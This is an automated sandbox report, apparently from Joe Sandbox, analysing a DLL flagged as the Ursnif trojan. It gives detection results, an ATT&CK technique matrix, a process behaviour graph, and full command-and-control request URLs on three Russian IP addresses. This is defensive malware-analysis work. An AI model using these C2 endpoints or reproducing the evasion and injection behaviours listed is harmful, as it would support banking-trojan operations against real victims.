      Source: Yara matchFile source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTR

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid Accounts2
      Windows Management Instrumentation      		1
      DLL Side-Loading      		111
      Process Injection      		11
      Virtualization/Sandbox Evasion      		OS Credential Dumping1
      System Time Discovery      		Remote Services11
      Archive Collected Data      		Exfiltration Over Other Network Medium2
      Encrypted Channel      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
      Data Encrypted for Impact
      Default Accounts12
      Native API      		Boot or Logon Initialization Scripts1
      DLL Side-Loading      		111
      Process Injection      		LSASS Memory121
      Security Software Discovery      		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
      Ingress Tool Transfer      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
      Deobfuscate/Decode Files or Information      		Security Account Manager11
      Virtualization/Sandbox Evasion      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
      Non-Application Layer Protocol      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)2
      Obfuscated Files or Information      		NTDS1
      Process Discovery      		Distributed Component Object ModelInput CaptureScheduled Transfer12
      Application Layer Protocol      		SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
      Regsvr32      		LSA Secrets1
      Account Discovery      		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
      Replication Through Removable MediaLaunchdRc.commonRc.common1
      Rundll32      		Cached Domain Credentials1
      System Owner/User Discovery      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
      External Remote ServicesScheduled TaskStartup ItemsStartup Items1
      Software Packing      		DCSync1
      Remote System Discovery      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
      DLL Side-Loading      		Proc Filesystem1
      File and Directory Discovery      		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadow124
      System Information Discovery      		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 800174 Sample: login.dll Startdate: 07/02/2023 Architecture: WINDOWS Score: 96 37 Snort IDS alert for network traffic 2->37 39 Malicious sample detected (through community Yara rule) 2->39 41 Multi AV Scanner detection for submitted file 2->41 43 Yara detected  Ursnif 2->43 7 loaddll32.exe 8 2->7         started        process3 dnsIp4 27 checklist.skype.com 7->27 51 Found evasive API chain (may stop execution after checking system information) 7->51 53 Found API chain indicative of debugger detection 7->53 55 Writes or reads registry keys via WMI 7->55 57 Writes registry values via WMI 7->57 11 cmd.exe 1 7->11         started        13 regsvr32.exe 7 7->13         started        17 rundll32.exe 7 7->17         started        19 conhost.exe 7->19         started        signatures5 process6 dnsIp7 21 rundll32.exe 7 11->21         started        29 checklist.skype.com 13->29 59 System process connects to network (likely due to code injection or exploit) 13->59 61 Writes or reads registry keys via WMI 13->61 63 Writes registry values via WMI 13->63 31 185.31.160.197, 49698, 49699, 49700 SPACENET-ASInternetServiceProviderRU Russian Federation 17->31 33 194.116.163.130, 49706, 49707, 49708 MGNHOST-ASRU Russian Federation 17->33 35 2 other IPs or domains 17->35 signatures8 process9 dnsIp10 25 checklist.skype.com 21->25 45 Found evasive API chain (may stop execution after checking system information) 21->45 47 Found API chain indicative of debugger detection 21->47 49 Writes registry values via WMI 21->49 signatures11

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      login.dll15%ReversingLabs
      login.dll20%VirustotalBrowse

      Dropped Files

      ⊘No Antivirus matches

      Unpacked PE Files

      SourceDetectionScannerLabelLinkDownload
      3.2.regsvr32.exe.d80000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      5.2.rundll32.exe.2c90000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      5.2.rundll32.exe.2c80000.0.unpack100%AviraHEUR/AGEN.1221353Download File
      3.2.regsvr32.exe.d70000.0.unpack100%AviraTR/Crypt.XPACK.Gen8Download File
      4.2.rundll32.exe.3180000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      0.2.loaddll32.exe.27c0000.1.unpack100%AviraHEUR/AGEN.1245293Download File
      0.2.loaddll32.exe.e50000.0.unpack100%AviraTR/Crypt.XPACK.Gen8Download File
      4.2.rundll32.exe.2ed0000.0.unpack100%AviraHEUR/AGEN.1221353Download File

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://185.31.160.197/drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewF/5tnGr6riVZK/horfC4izkHtm_2/FRsyiPSStAcxMMw3KVag3/lKaiS0nUr_2F9hqf/3RFXwKt5J2tbPXS/ORUwyogCPRAU0lNCrZ/gUX2p4uf0/52fR7fuL9TQAnM8MZktZ/jn3oNSUBUG6ObRKZ9t0/G7muspir0_2FXwVFTkRBH_/2BQHEsUwGWwZ0/Fyq3Jq6I/bVBsCJjOxydll2fOCh9ATvJ/bvtlKOuLy_2F/Q3nLg.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLh0%Avira URL Cloudsafe
      http://checklist.skype.c0%Avira URL Cloudsafe
      http://194.116.163.130/0%Avira URL Cloudsafe
      http://185.31.160.197/0%Avira URL Cloudsafe
      http://31.41.44.76/0%Avira URL Cloudsafe
      http://194.116.163.130/drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQBsofz/tMRJBCj9m9bkbB/ENasA7HJBxqPQBTd90cdK/i3YK42Z185DcHIlC/LnzLW1iqfFwH0JW/GZwwANuXL4AckgYBEk/dmLNxA6bN/3yD9Kk0CtmpCnb_2Bv_2/BqCRb9F9mdlERKj1wnL/P77LSYa_2FqOPRqho0ZqlU/3WoC6_2B_2BN0/QWJ44MOp/IdeBiXHuOUJvLGEbq_2Fg_2/B_2F3QGqeY/pFQW7yihK50tdejC/UQD.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uew0%Avira URL Cloudsafe
      http://194.116.163.1)0%Avira URL Cloudsafe
      http://185.31.160.197/drew/fv81LNtTjb/WMu9hRxTSlmya2yS5/NZdcUrPHfmjK/9t9_2BOy0lh/nF4c4PFwxx8dGy/L8Ie_2FDCX8inll_2BYup/22F05C4OM7Bflev3/xI4d2lnP2nuU1kC/CQgFtndDaK95oGOo2W/10kXr_2BF/Pn5wroeQhBHPVbdtsdZn/Kq3ArJkFaNBMaRoHraG/F4gF6a4CfhJLmRyy06tNKV/CkuVd_2BYA_2B/x3czcx7b/iMUew5dDQFwomGeMWtfxunT/TtS9qbBehh/Cia3q9FliYD24EPNk/ovExEyt6d1c/_2FQOc.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/abMXMSmVBmYx0%Avira URL Cloudsafe
      http://194.116.163.130/5_q0%Avira URL Cloudsafe
      http://31.41.44.76/drew/rQ80WmmISTdna6EZo8tb/N9IRYvXa9_2FwhYGLtw/DDguQwUmkKhF5p_2Fv32Qf/ct9aWPwjSgDO4/izTH4Bpy/ERFKMvJ7aXWRIOQSUNl8sXM/xs7duzy4Q5/KRDAN72gk9l1WXxwL/cukyXWTTIEPX/6MTef_2FekI/_2BVX_2Fn7fpGO/ms8CWSRLv1NwUWCqyCrWl/F0dorb0Gze_2BtCO/uXfBJVu4qNuzLBC/UAd8CfMJ5U6PUMkUP3/S75J42H7q/v2K4VDGPDBGfc7SFNv4x/_2FrM_2F_2FsrhfaQ4G/QMCkQkc9/Q.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhmUYS/9Ai_2FbPYCH7smvdO/717YthDS3IQv/PnSVc21Ngaw/Vn1_2BOZtOBahp/1EwwA_2BBv2Zwic4Bzf_2/FSmA6S25_2BBG7sZ/CgeidfDqrlSsz9g/mK8ACu1oXo0TMNlJny/3WcasiNsT/xGU8_2BCgXqRPbeAqlWe/W18ECevo_2BBj7U5N8n/EaS4hR1Jm_2BBoht2Prvvj/uur5n64jpKQI6/iMlZfntqy/QWBtk2.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/GLgt0o_2BqRUa/Fmfh_2F4/oZt6OFznTEzSsVmuRm79NIG/jNK_2FWE_2/B1QBzYkliIV240B9s/g7bqhiihM_2F/5z3pmiHiDcB/O6wtsN6IgcD_2B/E7iTA7iDvuu2ty7Z_2F9W/OISsw7ZpE_2FrCcj/xBp5YJaLVGIy_2F/sVdBrSW9xobA1IxwgC/AGGgU9rGi/fyC4JUAw5NMu0pj658cT/ycxD9UF3mU69kBGso8I/plEsLeDBwaF1GDeC0Npo4g/kliDuBrDIEn06/rzm17XfH/UvpcA8b6hIFmhjALBsyRZFi/j3ZS.jlk0%Avira URL Cloudsafe
      http://185.31.160.197/drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOE0%Avira URL Cloudsafe
      http://31.41.44.76/drew/tKbIR0uTOA/YGp3puDNXehEZbQwE/fGmFaQVFoJtq/gh9ffXM_2BM/pvD5cczRnUGAJt/wyPvZqseQyf_2FgGUBjg_/2FwZiGG6m0393Rgv/jei71BL6Fgif3Oa/BF53JssGLmdk6BtePS/l5Q_2F8ae/5hhBlXwCQVa_2BbsBVmA/pItQe_2FwyY_2F76rOr/TVPU3k_2Fd7uBMTG_2BZ28/YJ5psF0DmwraU/iwe51xIV/NnaeAuemS3dLHC60tOsOqlb/y_2Bh4L_2B/plVh_2Bjto1OPuRhU/S17U18mI4x3h/QpYIj8srDy4/eNqY.jlk0%Avira URL Cloudsafe
      http://194.116.163.130/drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQ0%Avira URL Cloudsafe
      http://31.41.44.76/drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35pl80/1_2F0KF9XAnBGTAWU/6q7vPexFna0n/vkYoVYgnqm_/2BwrG_2Fo7duoa/ZW3p3VZlvN9gSsPX0t0OU/QJLeLZgTtGb189u0/LqnBpFbOpLe_2Fq/qX6lmCkrJcTwgvrtIi/q63A1D73c/Cbr49X6IDaFw8rI4UypV/iAW63u87DH8ORxNJjv_/2FbnvH4rTy9JmyXxkus_2F/hqBLgSxGlLjnX/vAha2ByMtF/i.jlk0%Avira URL Cloudsafe
      http://31.41.44.76/drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr350%Avira URL Cloudsafe
      http://194.116.163.130.com/drew/9LcD_2Fa7rVeE11IJXTR4Pz/zRm3zjiK7C/Fet45NVoUZMxd9LFr/H2YR4ZMconIA/xj0%Avira URL Cloudsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      windowsupdatebg.s.llnwi.net
      		178.79.225.128
      		truefalse
        		unknown
        checklist.skype.com
        		unknown
        		unknownfalse
          		high

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://185.31.160.197/drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewF/5tnGr6riVZK/horfC4izkHtm_2/FRsyiPSStAcxMMw3KVag3/lKaiS0nUr_2F9hqf/3RFXwKt5J2tbPXS/ORUwyogCPRAU0lNCrZ/gUX2p4uf0/52fR7fuL9TQAnM8MZktZ/jn3oNSUBUG6ObRKZ9t0/G7muspir0_2FXwVFTkRBH_/2BQHEsUwGWwZ0/Fyq3Jq6I/bVBsCJjOxydll2fOCh9ATvJ/bvtlKOuLy_2F/Q3nLg.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://31.41.44.76/drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35pl80/1_2F0KF9XAnBGTAWU/6q7vPexFna0n/vkYoVYgnqm_/2BwrG_2Fo7duoa/ZW3p3VZlvN9gSsPX0t0OU/QJLeLZgTtGb189u0/LqnBpFbOpLe_2Fq/qX6lmCkrJcTwgvrtIi/q63A1D73c/Cbr49X6IDaFw8rI4UypV/iAW63u87DH8ORxNJjv_/2FbnvH4rTy9JmyXxkus_2F/hqBLgSxGlLjnX/vAha2ByMtF/i.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://194.116.163.130/drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQBsofz/tMRJBCj9m9bkbB/ENasA7HJBxqPQBTd90cdK/i3YK42Z185DcHIlC/LnzLW1iqfFwH0JW/GZwwANuXL4AckgYBEk/dmLNxA6bN/3yD9Kk0CtmpCnb_2Bv_2/BqCRb9F9mdlERKj1wnL/P77LSYa_2FqOPRqho0ZqlU/3WoC6_2B_2BN0/QWJ44MOp/IdeBiXHuOUJvLGEbq_2Fg_2/B_2F3QGqeY/pFQW7yihK50tdejC/UQD.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://31.41.44.76/drew/tKbIR0uTOA/YGp3puDNXehEZbQwE/fGmFaQVFoJtq/gh9ffXM_2BM/pvD5cczRnUGAJt/wyPvZqseQyf_2FgGUBjg_/2FwZiGG6m0393Rgv/jei71BL6Fgif3Oa/BF53JssGLmdk6BtePS/l5Q_2F8ae/5hhBlXwCQVa_2BbsBVmA/pItQe_2FwyY_2F76rOr/TVPU3k_2Fd7uBMTG_2BZ28/YJ5psF0DmwraU/iwe51xIV/NnaeAuemS3dLHC60tOsOqlb/y_2Bh4L_2B/plVh_2Bjto1OPuRhU/S17U18mI4x3h/QpYIj8srDy4/eNqY.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://185.31.160.197/drew/fv81LNtTjb/WMu9hRxTSlmya2yS5/NZdcUrPHfmjK/9t9_2BOy0lh/nF4c4PFwxx8dGy/L8Ie_2FDCX8inll_2BYup/22F05C4OM7Bflev3/xI4d2lnP2nuU1kC/CQgFtndDaK95oGOo2W/10kXr_2BF/Pn5wroeQhBHPVbdtsdZn/Kq3ArJkFaNBMaRoHraG/F4gF6a4CfhJLmRyy06tNKV/CkuVd_2BYA_2B/x3czcx7b/iMUew5dDQFwomGeMWtfxunT/TtS9qbBehh/Cia3q9FliYD24EPNk/ovExEyt6d1c/_2FQOc.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://194.116.163.130/drew/GLgt0o_2BqRUa/Fmfh_2F4/oZt6OFznTEzSsVmuRm79NIG/jNK_2FWE_2/B1QBzYkliIV240B9s/g7bqhiihM_2F/5z3pmiHiDcB/O6wtsN6IgcD_2B/E7iTA7iDvuu2ty7Z_2F9W/OISsw7ZpE_2FrCcj/xBp5YJaLVGIy_2F/sVdBrSW9xobA1IxwgC/AGGgU9rGi/fyC4JUAw5NMu0pj658cT/ycxD9UF3mU69kBGso8I/plEsLeDBwaF1GDeC0Npo4g/kliDuBrDIEn06/rzm17XfH/UvpcA8b6hIFmhjALBsyRZFi/j3ZS.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://31.41.44.76/drew/rQ80WmmISTdna6EZo8tb/N9IRYvXa9_2FwhYGLtw/DDguQwUmkKhF5p_2Fv32Qf/ct9aWPwjSgDO4/izTH4Bpy/ERFKMvJ7aXWRIOQSUNl8sXM/xs7duzy4Q5/KRDAN72gk9l1WXxwL/cukyXWTTIEPX/6MTef_2FekI/_2BVX_2Fn7fpGO/ms8CWSRLv1NwUWCqyCrWl/F0dorb0Gze_2BtCO/uXfBJVu4qNuzLBC/UAd8CfMJ5U6PUMkUP3/S75J42H7q/v2K4VDGPDBGfc7SFNv4x/_2FrM_2F_2FsrhfaQ4G/QMCkQkc9/Q.jlktrue
          • Avira URL Cloud: safe
          		unknown
          http://31.41.44.76/drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhmUYS/9Ai_2FbPYCH7smvdO/717YthDS3IQv/PnSVc21Ngaw/Vn1_2BOZtOBahp/1EwwA_2BBv2Zwic4Bzf_2/FSmA6S25_2BBG7sZ/CgeidfDqrlSsz9g/mK8ACu1oXo0TMNlJny/3WcasiNsT/xGU8_2BCgXqRPbeAqlWe/W18ECevo_2BBj7U5N8n/EaS4hR1Jm_2BBoht2Prvvj/uur5n64jpKQI6/iMlZfntqy/QWBtk2.jlktrue
          • Avira URL Cloud: safe
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://194.116.163.130/regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://checklist.skype.com/drew/9LcD_2Fa7rVeE11IJXTR4Pz/zRm3zjiK7C/Fet45NVoUZMxd9LFr/H2YR4ZMconIA/xjregsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            http://checklist.skype.com/drew/A1KCFeCxbFcuIx/Zkh_2BrxD2eYmRFYiG1YU/EbZzop68QS6hT9a8/y1OIHzLF3AmJuQrundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://194.116.163.130/drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQregsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://checklist.skype.crundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://194.116.163.130.com/drew/9LcD_2Fa7rVeE11IJXTR4Pz/zRm3zjiK7C/Fet45NVoUZMxd9LFr/H2YR4ZMconIA/xjregsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://185.31.160.197/rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://31.41.44.76/rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://checklist.skype.com/drew/BoHYQTZGAv0Wjrb/hkHmA8x1c_2FV_2Bhf/GUC8zVHro/2R0snw_2BNx5nUr7TbuF/PIrundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://31.41.44.76/drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhregsvr32.exe, 00000003.00000002.637145529.0000000000A56000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://31.41.44.76/drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://checklist.skype.com/rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://185.31.160.197/drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewrundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://194.116.163.1)regsvr32.exe, 00000003.00000003.585522169.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A6C000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		low
                  http://185.31.160.197/drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOEregsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A56000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://194.116.163.130/drew/abMXMSmVBmYxrundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://194.116.163.130/5_qrundll32.exe, 00000005.00000002.637105776.0000000002D1B000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  31.41.44.76
                  		unknownRussian Federation
                  		56577ASRELINKRUtrue
                  185.31.160.197
                  		unknownRussian Federation
                  		34300SPACENET-ASInternetServiceProviderRUtrue
                  194.116.163.130
                  		unknownRussian Federation
                  		202423MGNHOST-ASRUtrue

                  General Information

                  Joe Sandbox Version:36.0.0 Rainbow Opal
                  Analysis ID:800174
                  Start date and time:2023-02-07 08:37:13 +01:00
                  Joe Sandbox Product:CloudBasic
                  Overall analysis duration:0h 8m 20s
                  Hypervisor based Inspection enabled:false
                  Report type:full
                  Cookbook file name:default.jbs
                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                  Run name:Run with higher sleep bypass
                  Number of analysed new started processes analysed:21
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • HDC enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Sample file name:login.dll
                  Detection:MAL
                  Classification:mal96.troj.evad.winDLL@10/0@8/3
                  EGA Information:
                  • Successful, ratio: 100%
                  HDC Information:
                  • Successful, ratio: 33.4% (good quality ratio 32.4%)
                  • Quality average: 81.4%
                  • Quality standard deviation: 27.1%
                  HCA Information:
                  • Successful, ratio: 99%
                  • Number of executed functions: 175
                  • Number of non-executed functions: 156
                  Cookbook Comments:
                  • Found application associated with file extension: .dll
                  • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                  Warnings

                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                  • Excluded IPs from analysis (whitelisted): 8.238.88.248, 8.238.191.126, 8.238.85.126, 8.241.126.121, 8.248.239.254
                  • Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net
                  • Not all processes where analyzed, report is missing behavior information
                  • Report creation exceeded maximum time and may have missing disassembly code information.
                  • Report size exceeded maximum capacity and may have missing behavior information.
                  • Report size getting too big, too many NtOpenKeyEx calls found.
                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                  • Report size getting too big, too many NtQueryAttributesFile calls found.
                  • Report size getting too big, too many NtQueryValueKey calls found.

                  Simulations

                  Behavior and APIs

                  TimeTypeDescription
                  08:38:13API Interceptor1x Sleep call for process: rundll32.exe modified
                  08:38:13API Interceptor1x Sleep call for process: loaddll32.exe modified

                  Joe Sandbox View / Context

                  IPs

                  ⊘No context

                  Domains

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                  windowsupdatebg.s.llnwi.netfile.exeGet hashmaliciousBrowse
                  • 95.140.236.0
                  susvir.exeGet hashmaliciousBrowse
                  • 178.79.225.128
                  25RScmHfVg.exeGet hashmaliciousBrowse
                  • 178.79.225.0
                  RFQ for Engineering Work PDF.exeGet hashmaliciousBrowse
                  • 95.140.230.128
                  Zaplata,jpeg.exeGet hashmaliciousBrowse
                  • 178.79.242.0
                  DHL Documents PDF.exeGet hashmaliciousBrowse
                  • 178.79.242.0
                  DHL express delivery PDF.exeGet hashmaliciousBrowse
                  • 95.140.230.192
                  4JNcVUmK4O.exeGet hashmaliciousBrowse
                  • 178.79.225.128
                  file.exeGet hashmaliciousBrowse
                  • 178.79.225.0
                  Jk02ELeGut.exeGet hashmaliciousBrowse
                  • 178.79.242.0
                  file.exeGet hashmaliciousBrowse
                  • 178.79.225.0
                  4qDDk9HRH1.docGet hashmaliciousBrowse
                  • 178.79.225.128
